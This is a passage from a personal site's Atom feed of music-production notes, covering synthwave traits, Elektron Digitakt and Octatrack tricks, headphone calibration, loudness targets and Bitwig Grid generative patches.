                    after the chorus and typically before the verse but
                    is not a part of neither. Sometimes is an extension
                    of the chorus (with some variations) or a second
                    chorus with a distinct flavour.</li>
                    <li>Bridge/Middle 8 (B), a variation of the
                    chorus/verse often used to contrast the previous
                    pattern.</li>
                    <li>Outro/coda (O), the conclusion of a song. It
                    sometimes repeats the introduction but mirroring a
                    fade out instead of the fade in. Ocasionally ideas
                    from the song are re-mixed in the outro (for example
                    chorus rhythm with verse harmony) and other ending
                    devices, such as tempo slowdown or audio fx
                    (e.g. tape modulation) can be added to the
                    outro.</li>
                    </ul></li>
                    </ul>
                    <h3 id="synthwave">Synthwave</h3>
                    <p>Characterized for a modern interpretation of 80s
                    sounds, with heavy emphasis in simplicity and synth
                    sounds. Some staples of the genre are:</p>
                    <ul>
                    <li>Gated reverb snares: Snare with reverb applied
                    (often quite heavily) that is shortened in the DAW
                    or via some volume gating mechanism. Snares can be
                    layered with a bit of white noise for flavour.</li>
                    <li>Tom/snare fills: Used for transitions with
                    different pitch variations, often with some panning
                    to add stereo interest and reverb. Can be paired
                    with reverse crash sounds to smooth out the
                    transitions even more.</li>
                    <li>Drums are generally unsurprising and follow a
                    4-on-the-floor disco pattern.</li>
                    <li>Harmonies: In general anything goes, but tend to
                    use simple triads, 7th chords and smooth voice
                    leading, sometimes with chord extensions. In terms
                    of chord progressions, you can use pop music cliches
                    or a <code>I-VIm-V-IV</code> progression, but
                    anything can work as long as its not overly
                    complex.</li>
                    <li>Common use of arpeggios and obstinato
                    patterns.</li>
                    <li>Melodies are often simple, diatonic or minor
                    pentatonic and emphasize the chord tones of the
                    underlining harmony.</li>
                    <li>Bass sounds tends to have a good amount of
                    variations, but commonly it will consist on a plucky
                    (No attack, low decay), round (sine and/or saw
                    based) playing repeating 16th note figures,
                    sometimes generated with an arpeggiator. A chorus
                    effect can be used on bass, creating a slight
                    widening effect and adding some flavour.</li>
                    <li>Vocals: 80s vocals tend to have some chorus
                    added to them. Sometimes paired with a short
                    slapback delay (no feedback, short time) and
                    reverb.</li>
                    <li>Use of gates to clean up drum loops. Drum loops
                    extracted from break or drum loop compilations or
                    sampled from a recording can sound noisy. We can
                    clean them up with the use of gates, which will add
                    a peculiar sound to the drum loop whilst reducing
                    the amount of noise.</li>
                    <li>Structure: There is some variation in structure
                    within the genre, but they to follow pop, edm or
                    nu-disco patterns. In general try add some form of
                    interest or variation every 8 bars to keep people
                    interested:
                    <ul>
                    <li>Pop: I V PC C V PC C B C (O): Energy peaks on
                    each chorus, with the last one having the largest
                    amount. Energy dips on the 2nd verse and
                    bridge.</li>
                    <li>EDM: I V PC C B V PC C C (O): Energy increases
                    to the highest level on each chorus and dips to the
                    lowest on the bridge.</li>
                    <li>Nu-disco: V V V/C C C B V V: Energy initially
                    grows but its kept on a medium level throughout the
                    song, with the bridge having a dip in energy,
                    normally done by filtering some instruments. Can be
                    a challenging to keep interest.</li>
                    </ul></li>
                    </ul>
                    <h4 id="famous-artists">Famous artists</h4>
                    <ul>
                    <li><a
                    href="https://kavinsky.bandcamp.com/">Kavinski</a></li>
                    <li><a
                    href="http://carpenterbrut.bandcamp.com">Carpenter
                    Brut</a></li>
                    <li><a
                    href="https://perturbator.bandcamp.com">Perturbator</a></li>
                    </ul>
                    <h4 id="resources-2">Resources</h4>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/playlist?list=PLeYpsWnrOX6IzruxPrJqGUsOwdMLOkMTj">Synthwave
                    sessions by Ste Ingham</a></li>
                    <li><a href="https://youtu.be/gK_jgUtBOos">Synthwave
                    Song Structure And The 8 Bar Rule by Orpheus Audio
                    Academy</a></li>
                    <li><a href="https://youtu.be/e2cJKGXHNKM">How to
                    make awesome synthwave / 80s drums by Eliana
                    D’Angelo</a></li>
                    </ul>
                    <h3 id="glitchhop">Glitchhop</h3>
                    <h4 id="resources-3">Resources</h4>
                    <ul>
                    <li><a
                    href="https://www.reddit.com/r/edmproduction/comments/1vep8s/14_glitchhop_tutorials_and_7_bonus_tutorials/">14
                    glitchop tutorials</a></li>
                    </ul>
                    <h2 id="elektron">Elektron</h2>
                    <h3 id="digitakt">Digitakt</h3>
                    <ul>
                    <li>Humanize percussions with a random LFO on sample
                    position, filter or attack envelope.</li>
                    <li>You can copy names as well, not only patterns
                    and the like. Useful when sampling!</li>
                    <li>Making hats/shakers.
                    <ul>
                    <li>Start with a noise source and use a short
                    envelope.</li>
                    <li>Find a sweet spot on the noise sample.</li>
                    <li>Use a high pass filter, maybe with a bit of
                    resonance.</li>
                    <li>Use an LFO for modulation. Some possibilities:
                    <ul>
                    <li>Env Decay time.</li>
                    <li>Env Attack time.</li>
                    <li>Sample start.</li>
                    <li>Tuning.</li>
                    <li>Filter frequency.</li>
                    <li>Panning.</li>
                    </ul></li>
                    <li>Conditional trigs can be cool here to generate
                    variations.</li>
                    <li>Trig locks on panning and tuning can be cool to
                    create a cool groove.</li>
                    </ul></li>
                    <li>Making kicks.
                    <ul>
                    <li>Start with a noise or an existing kick sample in
                    a position that has a bit of attack.</li>
                    <li>Have a short decay in the envelope.</li>
                    <li>Use a high pass filter with a lot of resonance
                    and a bit of filter envelope to shape the
                    sound.</li>
                    <li>Add a bit of overdrive.</li>
                    </ul></li>
                    <li>Recording using the left/right outputs can
                    change the sound vs using Overbridge so it may be
                    interesting to track that separatelly..</li>
                    <li>Once a beat has been tracked and/or saved,
                    messing up with modify all parameters
                    (<code>Track</code> + <code>Encoders</code>) can
                    make for interesting sounds, textures or even tonal
                    samples.</li>
                    <li>The Digitakt doesn’t have time stretching or
                    slicing, but there are workarounds around this. Say
                    that we have a sample loop that lasts 8 bars, if we
                    want the loop to stay synced to the BPM while we
                    adjust the tempo or tuning samples, we can follow
                    the following workflow:
                    <ul>
                    <li>Setup the sample start point to the middle
                    (60).</li>
                    <li>Get a sawtooth LFO with sample start
                    destination, 60 depth and -8 speed. This gives us a
                    ramp that covers the entire sample range
                    synchronized to the beat. Adjusting the multiplier
                    has an effect in how many bars are covered by this
                    repeat.</li>
                    <li>Set up a bit of attack and decay just to prevent
                    clicking.</li>
                    <li>Add two triggers on the 1st and 2nd steps and
                    make the 2nd play at the same time at the first
                    (using microtiming). The first trig is used to reset
                    the LFO by parameter locking the mode on retrigger
                    (F encoder). The second trigger is set to retrig
                    mode with a length greater than 16. The retrigger
                    rate will change the resolution of the “grains” for
                    time stretching.</li>
                    <li>Once this is setup, loops should be synchronized
                    with our sequencer. The second LFO can then be used,
                    for example to scan different samples with the
                    sample choice destination.</li>
                    </ul></li>
                    <li>A tape stop effect can be achieved with an
                    exponential sample tune LFO. Set the speed to -8,
                    which, with the BPM16 multiplier would make it so
                    the LFO cycles throughout a bar. Set the depth to a
                    negative value (e.g. -50). We can use an automation
                    trig set to fill mode to activate this.</li>
                    <li><a href="https://youtu.be/FD_Jtzpy6GE">Digitakt
                    can TIME STRETCH &amp; BEAT SLICE just like vintage
                    samplers</a></li>
                    </ul>
                    <h3 id="octatrack">Octatrack</h3>
                    <h4 id="live-resampling">Live resampling</h4>
                    <p>We can use a record trig in combination with a
                    flex track to live resample audio coming in from one
                    of the inputs or some internal playback buffer. By
                    default, a record trig + playback trig on the first
                    step allow us to pitch down the incoming audio live,
                    but pitching up or reversing is not possible this
                    way. If we micro-time the record trig forward one or
                    two clicks we can’t no longer pitch down, but we
                    should be able to pitch up the incoming audio. Note
                    that in this case we may need to retrigger the
                    sample with an additional play trig. For example, if
                    we pitch up an octave, in addition to the play trig
                    on the 1st step, we should also use a play trig on
                    the 9th. This isn’t really “live”, though, instead
                    we are playing the last recorded loop in the buffer.
                    In case of “live” reversing, the same process as
                    with pitch up applies, only the “sample start”
                    position should be adjusted. For the first trigger
                    the start should be set at 1 and on trigger 9 it
                    should be 64.</p>
                    <p>Using a “source 3” recording instead of AB/CD, we
                    can pitch up a sample without micro-timing. For
                    example, we can set a live recorded on track 5 from
                    AB and use track 6 to record from track’s 5 via
                    source 3. Another advantage of doing so is that
                    audio can be routed to more than one track, for
                    example track 7 could also be sampling from track 5
                    and process the effects differently.</p>
                    <ul>
                    <li><a
                    href="https://youtu.be/SzkwTPRCZHw?si=WNvsSJa4DDQoQ_p-">Octatrack
                    Fake-outs: ‘Live’ Reversing and Re-pitching</a></li>
                    </ul>
                    <h4 id="other-1">Other</h4>
                    <ul>
                    <li><a
                    href="https://cdn.www.elektron.se/media/downloads/octatrack-mkii/Octatrack-MKII-User-Manual_ENG_OS1.40A_210414.pdf">Octatrack’s
                    Manual</a></li>
                    <li><a
                    href="https://www.elektronauts.com/t/octatrack-64-breakbeat-x-16-slices-megabreak-of-doom/337">Octatrack
                    64 breakbeat x 16 slices megabreak of doom</a></li>
                    <li><a
                    href="http://www.elektron-users.com/index2.php?option=com_docman&amp;task=doc_view&amp;gid=611&amp;Itemid=30">Merlin’s
                    thoughts on Elektron’s Octatrack</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=7Up-pJ11I_Q">Dawless
                    Lofi Sample Mangling with the Octatrack</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=orMXjqVXdrg">Octatrack
                    Mk2 Tutorial: A Crash Course in
                    Arrangements</a></li>
                    </ul>
                    <h2 id="production-resources">Production
                    Resources</h2>
                    <ul>
                    <li><a
                    href="https://youtu.be/ksJRgK3viMc?si=SDTqOPqc6teBcNT-">How
                    to use Compression (10-hour course)</a></li>
                    <li><a
                    href="https://youtu.be/sHR7R-TY7NE?si=-akZqaR01w5-eo_C">How
                    to use Equalization (9-hour course)</a></li>
                    <li><a
                    href="https://youtu.be/gxXlPbpRIMc?si=ERf7uAEA_Z9CXQlC">How
                    to use Reverb (7-hour course)</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=-10h7Mu5VP8&amp;list=PLNNHQbT3rbzUERYC289aY6KkrSDeR72uK&amp;ab_channel=FabFilter">The
                    Secret of Maximum Loudness (Dan Worrall)</a></li>
                    <li><a
                    href="https://youtu.be/spaqBr-cCFw?si=b9r_xVPWz_hsU_eq">How
                    to mix in stereo… without sucking in mono (Dan
                    Worrall)</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=_fDg_pgit5c&amp;t=4s&amp;ab_channel=FabFilter">Beginner’s
                    Guide to EQ (Dan Worrall)</a></li>
                    </ul>
                    <h2 id="mid-side-processing">Mid-side
                    processing</h2>
                    <ul>
                    <li><a
                    href="https://youtu.be/PVgkmMcQQZ0?si=0TjZIzP9-dRAn1m4">Mid
                    side eq tricks</a></li>
                    <li><a
                    href="https://youtu.be/Rg--l9HRqBI?si=P31N0i1yNm-PhBJ1">How
                    To Fix A Muddy Mix : Mid Side EQ Mixing
                    Techniques</a></li>
                    <li><a
                    href="https://youtu.be/5r2s2brTKZY?si=ghu9PcVNi6kHt_ovK">Spectrum
                    Analyzer | Audio Mixing Tips | How To See Your
                    Problems</a></li>
                    </ul>
                    <h2 id="headphone-calibration">Headphone
                    calibration</h2>
                    <p>I mix pretty much entirely on headphones, given
                    that on my home studio I don’t have access to good
                    monitors or a properly conditioned room. This has
                    some caveats, and even though I know my headphones
                    pretty well, the mixes don’t always translate to
                    other systems. Recently I discovered a simple method
                    to calibrate headphones for a more truthful
                    response, which works system wide and can be
                    implemented in pretty much any DAW and operating
                    system. For example, I mostly use Bitwig on Linux
                    and works like a charm there, no need for external
                    plugins or other software like Sonarworks!</p>
                    <p>The idea is to try to match your headphone’s
                    frequency response to the “Harman curve”, which seem
                    to have become a standard for audio mixing on
                    headphones. This curve tends to match the preference
                    of a multitude of people from different
                    demographics. Instead of a totally flat response, it
                    tries to mimic the response of flat speakers in a
                    treated room and gives a closer approximation to
                    what a studio environment sound like.</p>
                    <p>Ideally you will be starting with a good pair of
                    headphones, but you don’t need to break the bank for
                    the most expensive pair. There is massive
                    diminishing returns here, and some 100 buck cans are
                    probably more than enough for most people. I
                    personally use a set of Beyerdynamic DT 990 Pro (250
                    ohm) and while I like the sound and comfort, I had
                    some issues with the build construction so I
                    wouldn’t necessarily recommend them. Just find
                    something that works for you within your price range
                    and try to keep them as long as possible.</p>
                    <p>To obtain the calibration curve you can go to the
                    <a href="https://www.autoeq.app/">AutoEQ</a> website
                    and type down your headphones model on the search
                    bar. You will be greeted with a scary graph, for
                    which we only really care about the Raw, Target and
                    Equalized plots. On the left you can click “show
                    advanced” and select different target profiles or
                    make any desired adjustments, but by default the
                    appropriate Harman curve should be selected. In the
                    “Select equalizer app” dropdown you can select a
                    variety of options if you want to add this curve to
                    several equalizers (iTunes, Spotify, Rockbox, etc),
                    but for my purposes I use the “Convolution Eq”. You
                    should be able to see the Equalized graph very
                    nicely matching the target curve. Click the
                    “download” button (arrow pointing down) and wave the
                    wav file to your desired folder.</p>
                    <p>In Bitwig (or your DAW of choice), add a
                    convolution loader in your master and load the
                    equalizer file as an impulse response. Make sure the
                    mix is set to 100%, wet gain is set to 0dB and Width
                    is set to 100%. I like to add a tool device
                    afterwards to gain match the before/after signal.
                    You can group these two together and save the chain
                    as a preset. But wait, we are not done yet, you
                    could disable this chain if you are mastering or
                    measuring your track, but instead, I like to create
                    an FX bus and move the chain there. Disable your
                    master output and set the input of the calibration
                    channel to Master (POST). Don’t forget to turn on
                    monitoring! Lastly, set the output of the
                    calibration track to your headphones output in your
                    audio interface. You should now have headphone
                    calibration directly on your DAW.</p>
                    <p>Any IR loader will work for this process, and if
                    your DAW doesn’t have one available, there are
                    plenty of free VSTs for this purpose.</p>
                    <p>You could potentially apply these equalization
                    settings globally, but if you work with multiple
                    headphones this may become a hassle. Furthermore, in
                    that case, you can just add as many FX tracks with
                    their respective calibration IRs and route the audio
                    as needed.</p>
                    <p>I don’t claim this is the only or best method for
                    headphone mixing, but seems to work for me, and
                    hopefully it may work for you too. In any case, you
                    should always listen to your mixes in a variety of
                    different listening environments: different
                    headphones and earbuds, different speaker systems,
                    your car, mono systems, etc.</p>
                    <h2 id="mixingmastering">Mixing/Mastering</h2>
                    <h3 id="loudness">Loudness</h3>
                    <p>Nowadays, music is most likely going to be
                    consumed from streaming and digital platforms. These
                    services have started to normalize the percieved
                    loudness so that no longer music that sounds louder
                    appears as sounding “better”. This means we no
                    longer have to suffer from the <a
                    href="https://en.wikipedia.org/wiki/Loudness_war">Loudness
                    War</a> and we have some more headroom in dynamic
                    range when mixing and mastering a song.</p>
                    <p>The loudness is typically measured in LUFS/LKFS
                    (Loudness, K-weighted, relative to full scale).
                    Different streaming services will reduce the volume
                    of the music until is in their selected ranges. For
                    example, at the time of writing, the following list
                    show an example of the target LUFS in each
                    platform:</p>
                    <ul>
                    <li>Youtube: -13 LUFS</li>
                    <li>Spotify: -14 LUFS</li>
                    <li>iTunes: -16 LUFS</li>
                    <li>Tidal: -14 LUFS</li>
                    </ul>
                    <p>To measure LUFS in a Digital Audio Workstation
                    software (DAW), there are fantastic free plugins
                    available, such as <a
                    href="https://youlean.co/youlean-loudness-meter/">Youlean
                    Loudness Meter</a>.</p>
                    <p><a
                    href="https://www.youtube.com/watch?v=jowVS3qz0CQ&amp;ab_channel=RedMeansRecording">Some
                    people</a> recommend mixing with a target of -23
                    LUFS with 6dB of headroom and then mastering for the
                    target platform. Of course, we can always mix a bit
                    louder (-12 to -10 LUFS depending on how much
                    compression we are OK with) than we need to target
                    all platforms. Beware of not overdoing it, otherwise
                    we risk losing dynamic range.</p>
                    <h3 id="resources-4">Resources</h3>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/@MasteringExplained/videos">Mastering
                    Explained (YT channel)</a></li>
                    </ul>
                    <h2 id="miscellaneous">Miscellaneous</h2>
                    <h3
                    id="how-to-create-a-reverse-reverb-effect-on-a-hit">How
                    to create a reverse reverb effect on a hit</h3>
                    <p>From Mr. Bill’s video on Ableton Reverse effects
                    (<a
                    href="https://www.youtube.com/watch?v=gLVpBMpyzfg&amp;ab_channel=Mr.Bill">Source</a>)</p>
                    <ol type="1">
                    <li>Isolate and bounce the audio track we want to
                    apply the effect. Short hits work better.</li>
                    <li>Reverse the bounced audio track.</li>
                    <li>Apply a reverb and/or delay to the rev. bounced
                    track.</li>
                    <li>Freeze, flatten and consolidate the audio track
                    with the effect.</li>
                    <li>Reverse the track back.</li>
                    <li>Put it back in time with the original hit.</li>
                    </ol>
                    <p>Note that if the track was not reversed prior to
                    consolidation, we obtain a fade-in effect instead
                    when reversing the processed track.</p>
                    <h3 id="how-to-set-the-gain-of-your-microphone">How
                    to set the gain of your microphone</h3>
                    <p>Try to set the gain so that the average audio
                    peaks at around -12dB to have plenty of headroom to
                    play with.</p>
                    <h3 id="noise-gate">Noise gate</h3>
                    <p>On OBS, set the close threshold and open
                    threshold 5 apart (Open should be smaller), e.g. ct
                    55, ot 50.</p>
                    <h3 id="compression-2">Compression</h3>
                    <p>The effect of compression can still be heard even
                    at lower volumes. The attack of a compressor can
                    help us control the transients. Longer attacks left
                    the transient through, and the faster the attack
                    will shorten the transient. Long attacks and high
                    compression can make for punchier attacks and faster
                    attacks can smooth out harshness. Playing with the
                    release can be used to play with the swing/groove.
                    For example blending overcompressed drums with a
                    slow release will highlight the higher frequencies.
                    Playing around with the release can help shape
                    high-hats. Additionally, the release can be used to
                    create texture. Slower releases will reduce some
                    “growl” smoothing the sound and faster releases can
                    make the transients more obvious.</p>
                    <h3 id="resources-5">Resources</h3>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/watch?v=K0XGXz6SHco&amp;ab_channel=TheHouseofKush">Compressor
                    Designer GEEKS OUT on DRUM COMPRESSION</a></li>
                    </ul>
                    <h2 id="software">Software</h2>
                    <ul>
                    <li><a
                    href="https://warmplace.ru/soft/sunvox/">SunVox</a>
                    is an amazing cross platform modular synth and
                    tracker. Works on Windows, macOS and Linux.</li>
                    <li><a
                    href="https://github.com/hundredrabbits/Orca">ORCA</a>
                    is platform designed for livecoding music and
                    experimentation.</li>
                    <li><a
                    href="https://cdm.link/2022/04/noise-engineerings-plug-ins-are-a-dirty-habit-the-first-hit-is-free-and-they-keep-coming/">Noise
                    Engineering free plugins</a></li>
                    <li><a href="https://vital.audio/">Vital
                    Synthesizer</a></li>
                    <li><a
                    href="https://surge-synthesizer.github.io/">Surge
                    xt</a></li>
                    <li><a
                    href="https://www.discodsp.com/obxd/">OB-XD</a></li>
                    <li><a
                    href="https://valhalladsp.com/plugins/">Valhalla
                    Plugins</a></li>
                    </ul>
                    <h2 id="guitar-ampscabinets">Guitar
                    amps/cabinets</h2>
                    <ul>
                    <li><a
                    href="https://guitarml.com/#products">GuitarML
                    (Proteus)</a></li>
                    <li><a href="https://www.neuralampmodeler.com/">NAM
                    (Neural Amp Modeler)</a></li>
                    <li><a href="https://tonehunt.org/popular">NAM
                    Models</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Automata Theory</title>
            <link href="https://badd10de.dev//notes/automata-theory.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/automata-theory.html</id>
            <updated>2026-06-16T09:49:12Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Automata_theory">Automata
                    theory (Wikipedia)</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Cellular_automaton">Cellular
                    automaton (Wikipedia)</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Bitwig</title>
            <link href="https://badd10de.dev//notes/bitwig.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/bitwig.html</id>
            <updated>2026-06-16T09:49:12Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>Currently Bitwig is my DAW of choice. It runs on
                    Linux, the stock synths and devices are of high
                    quality and it has a truly innovative design, with
                    its concept of modulators everywhere, becoming a
                    true modular playground in DAW form.</p>
                    <h2 id="the-grid">The Grid</h2>
                    <p>One of the most powerful devices in Bitwig is
                    “the grid”. Using the grid we can tap into a modular
                    playground akin to using VCV rack, MAX/MSP or Pure
                    Data, but with a much more intuitive design (In my
                    opinion). It allow us to design our own synths and
                    FX from several modules and it’s great for quickly
                    making generative music.</p>
                    <p>Here you will find a collection of useful
                    constructs that I’ve found when learning the grid.
                    Additionally if you are interested to see these put
                    into action you can check out these videos of some
                    generative patches that I made in my
                    explorations:</p>
                    <ul>
                    <li><a href="https://youtu.be/EoFSjrzCEr8">Bad Diode
                    // Bitwig generative patch 001</a></li>
                    <li><a href="https://youtu.be/A5VX1UCG528">Bad Diode
                    // Bitwig generative patch 002</a></li>
                    <li><a href="https://youtu.be/ibZnyAFyNvE">Bad Diode
                    // Bitwig generative patch 003</a></li>
                    </ul>
                    <p><a
                    href="https://www.patreon.com/posts/bitwig-grid-82408440">Patreon</a>
                    and <a
                    href="https://ko-fi.com/post/Bitwig-Grid-Reference-Patch-K3K0KXNB3">kofi</a>
                    subscribers get access to an exclusive preset file
                    with all these reference patterns so that you can
                    try them at your convenience.</p>
                    <h3 id="euclidean-rhythms">Euclidean Rhythms</h3>
                    <p>Euclidian Rhythms are easy to set up in the grid,
                    although rotation can be a bit more involved. Here
                    are several versions of Euclidean generators of
                    different complexities.</p>
                    <p>All it takes is a base clock trigger (for example
                    16) and another trigger for the subdivisions. For
                    example a 7:16 or 3:8 Euclidean rhythm
                    (division:base).</p>
                    <p>We can use a gate device in trigger mode to
                    remove certain notes we don’t want to play.
                    Additionally we can set a 16:16 rhythm and use this
                    gate as a pseudo-sequencer.</p>
                    <p>Using the transport LFO we can control the
                    slowdown/speedup of our signal. For example we can
                    have a pattern that plays over 2 bars (2/bar) or
                    every 4 bars (4/bar) or twice every bar (1/2nd) or
                    any number of combinations.</p>
                    <p><a href="/notes/bitwig/euclid-simple.png"><img
                    src="/notes/bitwig/euclid-simple.png" /></a></p>
                    <p>To perform rotations we need to use a phase
                    shifter node. A phase is exactly N = Base steps. In
                    this case Base = 16 so we quantize a value knob to
                    rotate in the right increments. If we change the
                    base the constant has to be updated accordingly.</p>
                    <p><a href="/notes/bitwig/euclid-rotation.png"><img
                    src="/notes/bitwig/euclid-rotation.png" /></a></p>
                    <h3 id="array-recording">Array recording</h3>
                    <p>The array device is conceptually simple but a bit
                    confusing when initially looking at it.</p>
                    <p>Using a phase counter and making sure we set up
                    the same number for the counter number and array
                    size, we can use the array for recording N random
                    notes and then repeat them constantly.</p>
                    <p>In essence, when recording we are also passing
                    through the same signal and when if there is not a
                    trigger at that time a note will be read from memory
                    instead.</p>
                    <p>The second method shown on the right allow us to
                    automatically record a new melody each N bars (Or
                    whenever we want using the combination of gate
                    triggers and transport).</p>
                    <p><a href="/notes/bitwig/array-record.png"><img
                    src="/notes/bitwig/array-record.png" /></a></p>
                    <p>Source: <a
                    href="https://youtu.be/9AHn7fufAv8">How To Make a
                    Turing Machine in Bitwig Grid (Dash Glitch)</a></p>
                    <h3 id="bernoulli-gates">Bernoulli gates</h3>
                    <p>The concept of Bernoulli gates consists on
                    splitting a signal into two path depending on some
                    probability amount. We can bias the signal towards
                    one or the other path by adjusting the chance
                    probability.</p>
                    <p>In their simplest form these can be implemented
                    with a split and a chance module (Left). We can also
                    combine multiple Bernoulli gates in a multitude of
                    ways, for example cascading them or making them have
                    a probability for the same signal being chosen more
                    than once (Right).</p>
                    <p>A practical use for this is to create interesting
                    Closed/Open hi-hat patterns.</p>
                    <p><a href="/notes/bitwig/bernoulli-gates.png"><img
                    src="/notes/bitwig/bernoulli-gates.png" /></a></p>
                    <p>Source: <a
                    href="https://youtu.be/0Kylt6KvDRs">Bitwig Grid 101:
                    Bernoulli Gates (Tâches Teaches)</a></p>
                    <h3 id="probabilistic-gate-merger">Probabilistic
                    gate merger</h3>
                    <p>This construct allow us to combine different
                    trigger probabilities. For this example, the top
                    pattern will play 90% of the time, the middle one
                    70% of the time and the bottom one 25%, but note
                    that the probabilities are calculated each N bars by
                    using the Transport (LFO) configured as N / bar.</p>
                    <p>This shows a gate trigger that could be connected
                    to a kick, for example. With three gates we have a
                    total of seven different patterns we can generate.
                    With 4, we would have 16 possible patterns (Think
                    binary!)</p>
                    <p><a
                    href="/notes/bitwig/probability-gate-combinator.png"><img
                    src="/notes/bitwig/probability-gate-combinator.png" /></a></p>
                    <p>Source: <a
                    href="https://youtu.be/q94xPJOg4aU">Generative
                    Pattern Combining in the Bitwig Studio Grid
                    (Polarity)</a></p>
                    <h3 id="melody-generation">Melody generation</h3>
                    <h4 id="simple-approach">Simple approach</h4>
                    <p>Probably the simplest random pitch generator uses
                    some sort of trigger or gate, a dice module and a
                    pitch scaler + quantizer.</p>
                    <p>To avoid repeating the same note more than once
                    we can use a delay and some logic to obtain a new
                    trigger. This can create some interesting rhythmic
                    responses.</p>
                    <p><a
                    href="/notes/bitwig/random-melody-simple.png"><img
                    src="/notes/bitwig/random-melody-simple.png" /></a></p>
                    <h4 id="using-sh-lfo">Using S/H LFO</h4>
                    <p>If we don’t care about repeating the same melody
                    multiple times or having a higher probability for
                    certain notes than others, we can use a simple
                    random LFO and the usual combo of pitch scaler +
                    quantizer.</p>
                    <p>This by itself may be a bit jarring sometimes,
                    but we can also use these random notes to add
                    variation to an existing fixed pattern some of the
                    time as seen below.</p>
                    <p><a
                    href="/notes/bitwig/random-melody-shlfo.png"><img
                    src="/notes/bitwig/random-melody-shlfo.png" /></a></p>
                    <h4 id="a-fixed-note-method">A fixed note
                    method</h4>
                    <p>This approach to generate melodies allow us to
                    select a fixed number of notes (in this case 6) and
                    generate a different pitch for each of them,
                    constrained within the given range by the pitch
                    scaler and the selected notes on the quantizer.</p>
                    <p>The notes can be manually changed with a trigger
                    or, like shown here they can change any N bars by
                    using a phase scaler with a 1:N ratio or a Transport
                    (LFO) setup as (N / bar). When the phase reaches the
                    apex (1.0) we trigger the new pattern.</p>
                    <p><a
                    href="/notes/bitwig/fixed-melody-notes.png"><img
                    src="/notes/bitwig/fixed-melody-notes.png" /></a></p>
                    <h4 id="using-sinemod-phase-modulation">Using
                    sinemod phase modulation</h4>
                    <p>Another easy way of generating random repeating
                    melodies is to use the sinemod phase device with a
                    sample and hold to retain the value and use the
                    combination of pitch scale/quantizer to adjust note
                    range and scale.</p>
                    <p>Using the gates device as triggers we can play
                    sequences that contain silences and not just streams
                    of notes. The triggers can be changed to taste, for
                    example to use Euclidean rhythms for
                    polyrhythms.</p>
                    <p>Modulating the sinemod amount we can create
                    different patterns but all of them will start with
                    the same note. If we add and modulate a phase shift
                    device we can then completely generate new melodies
                    easily.</p>
                    <p>The idea can be extended to also using the
                    sinemod for rhythm generation provided we have some
                    form of clock quantization. This is usually my
                    preferred method.</p>
                    <p><a
                    href="/notes/bitwig/random-melody-phase.png"><img
                    src="/notes/bitwig/random-melody-phase.png" /></a></p>
                    <h4 id="using-a-delay-chain">Using a delay
                    chain</h4>
                    <p>Here is another example of a probabilistic melody
                    machine which progressively reduces the chances of a
                    note being played through the delay chain.</p>
                    <p>In this case we have a fixed Cmaj9 chord spelled
                    out, but you can, of course, set up your own notes
                    or even use a random pattern within a key.</p>
                    <p><a
                    href="/notes/bitwig/probability-note-chain-decrease.png"><img
                    src="/notes/bitwig/probability-note-chain-decrease.png" /></a></p>
                    <p>Source: <a
                    href="https://youtu.be/-JMwGKjUh30">Bitwig Grid 101:
                    Yet Another Probability Based Melody Machine (Tâches
                    Teaches)</a></p>
                    <h4 id="with-probabilistic-sampling">With
                    probabilistic sampling</h4>
                    <p>We can select a random note from the scale with
                    different probability values with this system.</p>
                    <p>The output of the sample and hold can be used
                    with an addition S/H triggered by a N=16 clock
                    quantizer or another clock division (e.g. euclidean
                    rhythms).</p>
                    <p>The method displayed on the right combines the
                    probabilistic sampling with a recorder to allow us
                    repeating the same melody for N bars.</p>
                    <p><a
                    href="/notes/bitwig/probability-sampling-steps.png"><img
                    src="/notes/bitwig/probability-sampling-steps.png" /></a></p>
                    <p>Source: <a
                    href="https://youtu.be/nLHUsRl5UgA">Try these 2 ways
                    of creating melody &amp; rhythm - Bitwig Grid
                    (Polarity)</a></p>
                    <h4 id="creating-a-chaos-machine">Creating a chaos
                    machine</h4>
                    <p>This chaos machine uses two random LFOs to
                    modulate the X/Y position of the pad. On a zero
                    crossing from any direction a note will be
                    triggered.</p>
                    <p>This could be extended for different positions or
                    modulating some parameters/changing the
                    range/changing the scale depending on where in the X
                    or Y axis are we.</p>
                    <p><a
                    href="/notes/bitwig/pitch-chaos-machine.png"><img
                    src="/notes/bitwig/pitch-chaos-machine.png" /></a></p>
                    <p>Source: <a
                    href="https://youtu.be/H6V3bC3b8q4">Bitwig Grid 101:
                    The XY Pad Can Do Something Pretty Cool (Tâches
                    Teaches)</a></p>
                    <h3 id="sound-design">Sound design</h3>
                    <h4 id="pitch-delay-chain">Pitch delay chain</h4>
                    <p>FX like delay are not limited to audio signals,
                    they can be used for anything, including pitch
                    signals like shown here. We are using cascading
                    delays to create a sort of analog shift
                    register.</p>
                    <p>This can be used in creative ways and with
                    modulations and adding randomness they can be used
                    for example for haunting random melodies.</p>
                    <p>This method also allows us to further manipulate
                    the signal, for example by controlling the output of
                    the delayed notes with gates. Not possible with a
                    regular delay FX!</p>
                    <p><a
                    href="/notes/bitwig/pitch-delay-chain.png"><img
                    src="/notes/bitwig/pitch-delay-chain.png" /></a></p>
                    <p>Source: <a
                    href="https://youtu.be/Wqmwm7NSf9Y">Bitwig Grid 101:
                    A Simple Analog Shift Register (Tâches
                    Teaches)</a></p>
                    <h4
                    id="chainingrepeating-envelopes">Chaining/repeating
                    envelopes</h4>
                    <p>We can create an envelope that is constantly
                    triggering after it reaches zero while a gate is
                    being held by using a long delay (to enable
                    feedback) and a bit of logic.</p>
                    <p>In this case its shown with the gates device but
